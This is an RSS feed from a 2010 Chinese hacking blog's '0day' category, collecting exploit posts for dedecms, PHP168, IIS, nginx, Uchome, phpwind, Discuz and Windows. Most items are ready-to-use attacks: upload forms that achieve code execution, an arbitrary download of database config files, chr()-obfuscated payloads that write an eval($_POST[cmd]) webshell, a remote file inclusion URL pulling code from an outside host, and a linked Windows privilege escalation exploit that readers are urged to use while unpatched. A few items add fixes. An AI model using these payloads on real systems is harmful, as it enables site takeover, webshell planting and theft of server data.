<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[许诺's Blog - 0day ]]></title>
<link>http://www.swhack.cn/</link>
<description><![CDATA[蝉在地下的漫长等待，只为枝头一夏的绝响！]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[251812239@qq.com(许诺)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>许诺&#39;s Blog</title>
	<url>http://www.swhack.cn/images/logos.gif</url>
	<link>http://www.swhack.cn/</link>
	<description>许诺&#39;s Blog</description>
</image>

			<item>
			<link>http://www.swhack.cn/article.asp?id=285</link>
			<title><![CDATA[dedecms v5.3-v5.6 Get Shell 0day利用分析 ]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Tue,17 Aug 2010 23:17:24 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=285</guid>
		<description><![CDATA[author:toby57<br/>team:www.wolvez.org<br/><br/>此0day已经出现了相当长一段时间，今天配合小龙同学提供的日志看了下代码，了解了漏洞成因。大多同学对成因不感兴趣，这儿就只公布利用方法。<br/><br/>Gif89a{dede:field name=&#39;toby57&#39; runphp=&#39;yes&#39;}<br/>phpinfo();<br/>{/dede:field}<br/>保存为1.gif<br/><br/>&lt;form action=&#34;<a href="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" target="_blank" rel="external">http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php</a>&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34; &#34;&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;aid&#34; value=&#34;<span style="color:Red">7</span>&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;mediatype&#34; value=&#34;1&#34; /&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;oldurl&#34; value=&#34;/<span style="color:Red">DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif&#34; /</span>&gt;&lt;/br&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;dopost&#34; value=&#34;save&#34; /&gt;<br/>&lt;input name=&#34;title&#34; type=&#34;hidden&#34; id=&#34;title&#34; value=&#34;1.jpg&#34; class=&#34;intxt&#34;/&gt;<br/>&lt;input name=&#34;addonfile&#34; type=&#34;file&#34; id=&#34;addonfile&#34;/&gt;<br/>&lt;button class=&#34;button2&#34; type=&#34;submit&#34; &gt;更改&lt;/button&gt;<br/>&lt;/form&gt;<br/>构造如上表单，上传后图片保存为/uploads/userup/3/1.gif<br/><img src="http://www.swhack.cn/download.asp?id=224" border="0" alt=""/><br/>发表文章，然后构造修改表单如下：<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code9582);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code9582>&lt;form&nbsp;&nbsp;action=&#34;<a href="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" target="_blank" rel="external">http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php</a>&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;dopost&#34; value=&#34;save&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;aid&#34; value=&#34;<span style="color:Red">2</span>&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;idhash&#34; value=&#34;<span style="color:Red">ec66030e619328a6c5115b55483e8dbd</span>&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;channelid&#34; value=&#34;1&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;oldlitpic&#34; value=&#34;&#34; /&gt;<br/>&lt;input type=&#34;hidden&#34; name=&#34;sortrank&#34; value=&#34;1282049150&#34; /&gt;&nbsp;&nbsp; <br/>&lt;input&nbsp;&nbsp;name=&#34;title&#34; type=&#34;text&#34; id=&#34;title&#34; value=&#34;aaaaaaaaaaaaaaa&#34; maxlength=&#34;100&#34; class=&#34;intxt&#34;/&gt;<br/>&lt;input type=&#34;text&#34; name=&#34;writer&#34; id=&#34;writer&#34; value=&#34;123456&#34; maxlength=&#34;100&#34; class=&#34;intxt&#34; style=&#34;width:219px&#34;/&gt;<br/>&lt;sel&#101;ct name=&#39;typeid&#39; size=&#39;1&#39;&gt;<br/>&lt;option value=&#39;1&#39; class=&#39;option3&#39; sel&#101;cted=&#39;&#39;&gt;Test&lt;/option&gt;<br/>&lt;sel&#101;ct name=&#39;mtypesid&#39; size=&#39;1&#39;&gt;<br/>&lt;option value=&#39;0&#39; sel&#101;cted&gt;请选择分类...&lt;/option&gt;<br/>&lt;option value=&#39;1&#39; class=&#39;option3&#39; sel&#101;cted&gt;aa&lt;/option&gt;&lt;/sel&#101;ct&gt; <br/>&lt;textarea name=&#34;description&#34; id=&#34;description&#34;&gt;aaaaaaaaaaaaa&lt;/textarea&gt;<br/>&lt;input type=&#39;hidden&#39; name=&#39;dede_addonfields&#39; value=&#34;templet&#34;&gt;<br/>&lt;input type=&#39;hidden&#39; name=&#39;templet&#39; value=&#34;<span style="color:Red">../uploads/userup/3/1.gif</span>&#34;&gt;<br/>&lt;input type=&#34;hidden&#34; id=&#34;body&#34; name=&#34;body&#34; value=&#34;aaaa&#34; style=&#34;display:none&#34; /&gt;<br/>&lt;button class=&#34;button2&#34; type=&#34;submit&#34;&gt;提交&lt;/button&gt;<br/>&lt;/form&gt;</div></div><br/><br/><img src="http://www.swhack.cn/download.asp?id=225" border="0" alt=""/><br/><br/><img src="http://www.swhack.cn/download.asp?id=226" border="0" alt=""/><br/><br/><img src="http://www.swhack.cn/download.asp?id=227" border="0" alt=""/><br/>红色部分都 是需要注意的地方，得根据实际情况进行对应修改。<br/>修改完成后查看文章即可。]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=273</link>
			<title><![CDATA[PHP168下载任意文件漏洞（曾经的漏洞依然存在）]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Wed,30 Jun 2010 21:57:19 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=273</guid>
		<description><![CDATA[测试方法：<br/>首先，我们把需要下载的文件名改用base64_encode形式。如下：<br/><br/>php168/mysql_config.php&nbsp;&nbsp;<br/><br/><img src="http://www.swhack.cn/download.asp?id=221" border="0" alt=""/><br/><br/>要注意，文件名后面需要多一个空格。<br/>加密后：<br/>cGhwMTY4L215c3FsX2NvbmZpZy5waHAg<br/><br/>这时提交地址：<br/><a href="http://localhost:8090/php168/do/job.php?job=download" target="_blank" rel="external">http://localhost:8090/php168/do/job.php?job=download</a>&amp;url=cGhwMTY4L215c3FsX2NvbmZpZy5waHAg<br/>（注意，网站目录是<a href="http://localhost:8090/php168/" target="_blank" rel="external">http://localhost:8090/php168/</a>）<br/>即可下载其文件：<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=265</link>
			<title><![CDATA[IIS源码泄露及文件类型解析错误]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Sun,23 May 2010 22:42:44 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=265</guid>
		<description><![CDATA[漏洞介绍：IIS是微软推出的一款webserver，使用较为广泛，在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题，在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码，也可能错误的将任何类型的文件以PHP的方式进行解析，使得恶意的攻击者可能攻陷支持PHP的IIS服务器，特别是虚拟主机用户可能受的影响较大。<br/><br/><br/>漏洞分析：<br/>IIS支持以CGI的方式运行PHP，但是此种模式下，IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题，任何用户可以远程将任何类型的文件以PHP的方式去解析，你可以通过查看Phpinfo中对php的支持方式，其中如果为CGI/FAST-CGI就可能存在这个问题。<br/><br/>黑盒访问<br/><br/><a href="http://www.80sec.com/robots.txt/1.php" target="_blank" rel="external">http://www.80sec.com/robots.txt/1.php</a><br/><br/>查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。<br/><br/>同时，如果服务器支持了PHP，但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码<br/><br/><a href="http://www.80sec.com/some.asp/1.php" target="_blank" rel="external">http://www.80sec.com/some.asp/1.php</a><br/><br/>漏洞厂商：<a href="http://www.microsoft.com" target="_blank" rel="external">http://www.microsoft.com</a><br/><br/>解决方案：<br/><br/>我们已经尝试联系官方，但是此前你可以通过以下的方式来减少损失<br/><br/>关闭cgi.fix_pathinfo为0<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=264</link>
			<title><![CDATA[80后爆nginx 0day漏洞，上传图片可入侵100万服务器]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Sat,22 May 2010 14:01:50 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=264</guid>
		<description><![CDATA[国内顶级安全团队80sec于5.20日下午6点发布了一个关于nginx的漏洞通告，由于该漏洞的存在，使用nginx+php组建的网站只要允许上传图片就可能被<a href="http://www.swhack.cn" target="_blank">黑客</a>入侵，直到5.21日凌晨，nginx尚未发布修复该漏洞的补丁；已经有一些网站被黑了，管理员速修复！<br/><br/><br/>根据Netcraft的统计，直到2010年4月，全球一共有1300万台服务器运行着nginx程序；非常保守的估计，其中至少有600万台服务器运行着nginx并启用了php支持；继续保守的估计，其中有1/6，也就是100万台服务器允许用户上传图片。<br/><br/>由于nginx有漏洞，这100万台服务器可能通过上传图片的方法被<a href="http://www.swhack.cn" target="_blank">黑客</a>轻易的植入木马。植入木马的过程也非常简单，就是把木马改成图片上传就是了，由于危害非常大，就不说细节了。有兴趣的请访问 <a href="http://www.80sec.com/nginx-securit.html" target="_blank" rel="external">http://www.80sec.com/nginx-securit.html</a><br/><br/>临时修复方法如下，可3选其一。<br/><br/>1、设置php.ini的cgi.fix_pathinfo为0，重启php。最方便，但修改设置的影响需要自己评估。<br/><br/>2、给nginx的vhost配置添加如下内容，重启nginx。vhost较少的情况下也很方便。<br/><br/>if ( $fastcgi_script_name ~ \..*\/.*php ) {<br/>return 403;<br/>}<br/><br/>3、禁止上传目录解释PHP程序。不需要动webserver，如果vhost和服务器较多，短期内难度急剧上升；建议在vhost和服务器较少的情况下采用。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=255</link>
			<title><![CDATA[php168获取管理员漏洞0day]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Sat,01 May 2010 12:34:49 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=255</guid>
		<description><![CDATA[作者：Amxking <br/>漏洞程序：php168 <br/>风险等级：高 <br/>漏洞描述： <br/>由于php168程序对用户组权限购买处理不当，使普通用户具有购买管理员权限 ，从而获得管理权限 。 <br/>漏洞利用： <br/>1.注册普通用户 <br/>2.通过 <a href="http://www.xxx.com/member/buygroup.php?job=buy" target="_blank" rel="external">http://www.xxx.com/member/buygroup.php?job=buy</a>&amp;gid=3购买管理员权限 。 <br/>3.后台 拿webshell <br/>如图： <br/><img src="http://www.swhack.cn/download.asp?id=212" border="0" alt=""/><br/><br/><br/><img src="http://www.swhack.cn/download.asp?id=211" border="0" alt=""/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=253</link>
			<title><![CDATA[dedecms爆路径最新漏洞(6个地址)]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Sun,25 Apr 2010 23:01:30 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=253</guid>
		<description><![CDATA[漏洞描述： <br/>dedecms 5.5程序泄露网站路径信息。 <br/><br/>测试地址： <br/><br/><a href="http://www.xxx.com/plus/paycenter/alipay/return_url.php" target="_blank" rel="external">http://www.xxx.com/plus/paycenter/alipay/return_url.php</a><br/><a href="http://www.xxx.com/plus/paycenter/cbpayment/autoreceive.php" target="_blank" rel="external">http://www.xxx.com/plus/paycenter/cbpayment/autoreceive.php</a><br/><a href="http://www.xxx.com/plus/paycenter/nps/config_pay_nps.php" target="_blank" rel="external">http://www.xxx.com/plus/paycenter/nps/config_pay_nps.php</a><br/><br/><br/><a href="http://www.xxx.com/plus/task/dede-maketimehtml.php" target="_blank" rel="external">http://www.xxx.com/plus/task/dede-maketimehtml.php</a><br/><a href="http://www.xxx.com/plus/task/dede-optimize-table.php" target="_blank" rel="external">http://www.xxx.com/plus/task/dede-optimize-table.php</a><br/><a href="http://www.xxx.com/plus/task/dede-upcache.php" target="_blank" rel="external">http://www.xxx.com/plus/task/dede-upcache.php</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=252</link>
			<title><![CDATA[Uchome <=2.0 后台GetWebShell 漏洞]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Wed,21 Apr 2010 23:03:30 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=252</guid>
		<description><![CDATA[本文作者：陆羽 、Oldjun <br/>漏洞介绍：uchome&lt;=2.0的程序中js.php文件存在代码执行漏洞,原因是正则匹配时引号使用不当,导致可以任意提交并执行PHP代码。<br/>Php中单引号与双引号是有区别的：<br/>&#34; &#34;双引号里面的字段会经过编译器解释，然后再当作HTML代码输出。<br/>&#39; &#39;单引号里面的不进行解释，直接输出。<br/><br/>这里正则匹配后的\\2在双引号里，导致了代码可以执行。<br/><br/>Js.php 问题代码如下 <br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code37789);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code37789>01&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include template(&#34;data/blocktpl/$id&#34;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $obcontent = ob_get_contents();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; obclean();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $s = array(&#34;/(\r|\n)/&#34;, &#34;/\&lt;div\s+class=\&#34;pages\&#34;\&gt;.+?\&lt;\/div\&gt;/is&#34;, &#34;/\s+(href|src)=\&#34;(.+?)\&#34;/ie&#34;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $r = array(&#34;\n&#34;, &#39;&#39;, &#39;js_mkurl(&#34;\\1&#34;, &#34;\\2&#34;)&#39;);//代码执行&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $content = &#39;&#39;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if($obcontent) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $obcontent = preg_replace($s, $r, $obcontent);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $lines = explode(&#34;\n&#34;, $obcontent);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach ($lines as $line) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $line = addcslashes(trim($line), &#39;/\&#39;\\&#39;);&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;<br/>15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $content .= &#34;document.writeln(&#39;$line&#39;);\n&#34;;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;<br/>16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;<br/>17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } else {&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;<br/>18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $content .= &#34;document.writeln(&#39;NO DATA&#39;)&#34;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp; <br/>19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;&nbsp; </div></div><br/>测试环境:<br/>系统环境:Windows 2003 + IIS + PHP 5.2.9-2 + Mysql 5.0.67<br/>程序环境:Ucenter Home 2.0(官方最新) + Ucenter 1.5(官方最新) <br/><br/>测试方法:<br/><br/>首先我在本地安装了一个全新的uchome.。这个漏洞的前提是首先拿到后台权限。你可以通过社工、旁注、嗅探、Xss 等手段拿到管理员密码并进入后台。<br/>接着打开admincp.php?ac=block&amp;op=add，选择第一个添加一个模块。填上模板名称、其他默认即可。然后提交。如下图<br/><img src="http://www.swhack.cn/download.asp?id=207" border="0" alt=""/><br/><br/>接着在数据显示Html代码处填入如下代码然后提交<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code44862);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code44862>&lt;a href=&#34;{${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}&#34;&gt;a&lt;/a&gt;&nbsp;&nbsp; </div></div><br/><br/>加密内容为fputs(fopen(&#39;data/a.php&#39;,&#39;w&#39;),&#39;&lt;?php eval($_POST[cmd])?&gt;&#39;);<br/><br/>保存后检查一下ID，如果ID是1，则访问一下js.php?id=1<br/><br/>则在data目录下生成a.php一句话木马，密码是cmd<br/><br/>我这里ID是2&nbsp;&nbsp;所以我访问 js.php?id=2<br/><br/><img src="http://www.swhack.cn/download.asp?id=208" border="0" alt=""/><br/><br/><img src="http://www.swhack.cn/download.asp?id=209" border="0" alt=""/><br/><br/>这就是我们的一句话。连接试试<br/><br/><img src="http://www.swhack.cn/download.asp?id=210" border="0" alt=""/><br/><br/>结果显示.漏洞确实存在并能执行任意PHP代码。。。已经成功得到一个webshelll<br/><br/>漏洞修补：目前官方暂无补丁 临时修补方法如下（目前官方已经补丁。修补办法和下面一样。囧。）<br/><br/>$r = array(&#34;\n&#34;, &#39;&#39;, &#39;js_mkurl(&#34;\\1&#34;, &#34;\\2&#34;)&#39;);<br/>替换为<br/>$r = array(&#34;\n&#34;, &#39;&#39;, &#34;js_mkurl(&#39;\\1&#39;, &#39;\\2&#39;)&#34;);]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=229</link>
			<title><![CDATA[谷歌工程师首发：windows最新0day 本地提权 通杀所有版本]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Thu,21 Jan 2010 12:58:55 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=229</guid>
		<description><![CDATA[刚刚在xp sp3下测试蓝屏了&nbsp;&nbsp; 但在2003下测试成功了 刚刚测试win2008也成功了<br/>先放威望再继续看看 免得等下无效那就。。。<br/><br/><br/>谷歌工程师首发：windows最新0day 本地提谷歌果然卧虎藏龙，存在17年的漏洞编译至今通杀<br/>测试英文版系统user提权没问题<br/>中文有的会蓝屏 有的直接提权<br/><br/>国外相关资料：<a href="http://archives.neohapsis.com/ar" target="_blank" rel="external">http://archives.neohapsis.com/ar</a> ... e/2010-01/0346.html<br/><br/>此漏洞导致大部分系统可以提权，目前还没出补丁，及时利用吧。<br/><br/>windows最新0day 通杀所有版本<br/>通杀 XP 2K 2K3 2K8 VISTA WIN7<br/>用法：以普通用户登录windows<br/>执行exp 弹出一个cmdshell 这个shell即为 system权限的<br/>请各位系统管理员注意<br/>附件为：Win-ver-exploit Exploit和源码<br/><br/>演示动画：<br/><a href="http://www.anti-sec.cn/fucker/down/0day/win_0day.html" target="_blank" rel="external">http://www.anti-sec.cn/fucker/down/0day/win_0day.html</a><br/><br/><span id="mdown_a3a4qi2y31"></span><script language="javascript" type="text/javascript">check('Action.asp?action=Antimdown&id=191&downurl=download%2Easp%3Fid%3D191&main=%E7%82%B9%E5%87%BB%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%96%87%E4%BB%B6','mdown_a3a4qi2y31','mdown_a3a4qi2y31');</script><br/><br/><div id="mdown_87hm1l8yux"></div><br /><script language="javascript" type="text/javascript">check('Action.asp?action=type1&mainurl=http%3A%2F%2Fdown%2Eqiannao%2Ecom%2Fspace%2Ffile%2Fqiannao%2Fshare%2F2010%2F1%2F24%2Fxunuo%5F20100121150730%2Erar%2F%2Epage&main=%E4%B8%8D%E8%83%BD%E4%B8%8B%E8%BD%BD%E7%9A%84%E7%82%B9%E8%BF%99%E4%B8%AA','mdown_87hm1l8yux','mdown_87hm1l8yux');</script><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=225</link>
			<title><![CDATA[phpwind7.5 0day]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Sun,10 Jan 2010 23:37:16 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=225</guid>
		<description><![CDATA[终于看到有人发了利用&nbsp;&nbsp;<br/><a target="_blank" href="http://www.xxx.com/apps/groups/index.php?route=groups&amp;basePath=http://wjs001.3.xjp.77169.net/x.txt?" rel="external">http://www.xxx.com/apps/groups/index.php?route=groups&amp;basePath=http://wjs001.3.xjp.77169.net/x.txt?</a><br/><br/>测试可行&nbsp;&nbsp;&nbsp;&nbsp; 过年了&nbsp;&nbsp;<a href="http://www.swhack.cn" target="_blank">黑客</a>都出来活动了]]></description>
		</item>
		
			<item>
			<link>http://www.swhack.cn/article.asp?id=224</link>
			<title><![CDATA[Discuz! 7.1 &amp; 7.2 远程代码执行漏洞]]></title>
			<author>251812239@qq.com(许诺)</author>
			<category><![CDATA[0day ]]></category>
			<pubDate>Wed,06 Jan 2010 18:03:31 +0800</pubDate>
			<guid>http://www.swhack.cn/default.asp?id=224</guid>
		<description><![CDATA[注册用户后&nbsp;&nbsp;提交：misc.php?action=imme_binding&amp;response[result]=1:2&amp;scriptlang[1][2]={${phpinfo()}}<br/><br/>任意执行的0day<br/><br/>exp:<br/><br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code86228);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.swhack.cn/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code86228>http://此处为论坛地址/misc.php?action=imme_binding&amp;response[result]=1:2&amp;scriptlang[1][2]=${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}</div></div>]]></description>
		</item>
		
</channel>
</rss>
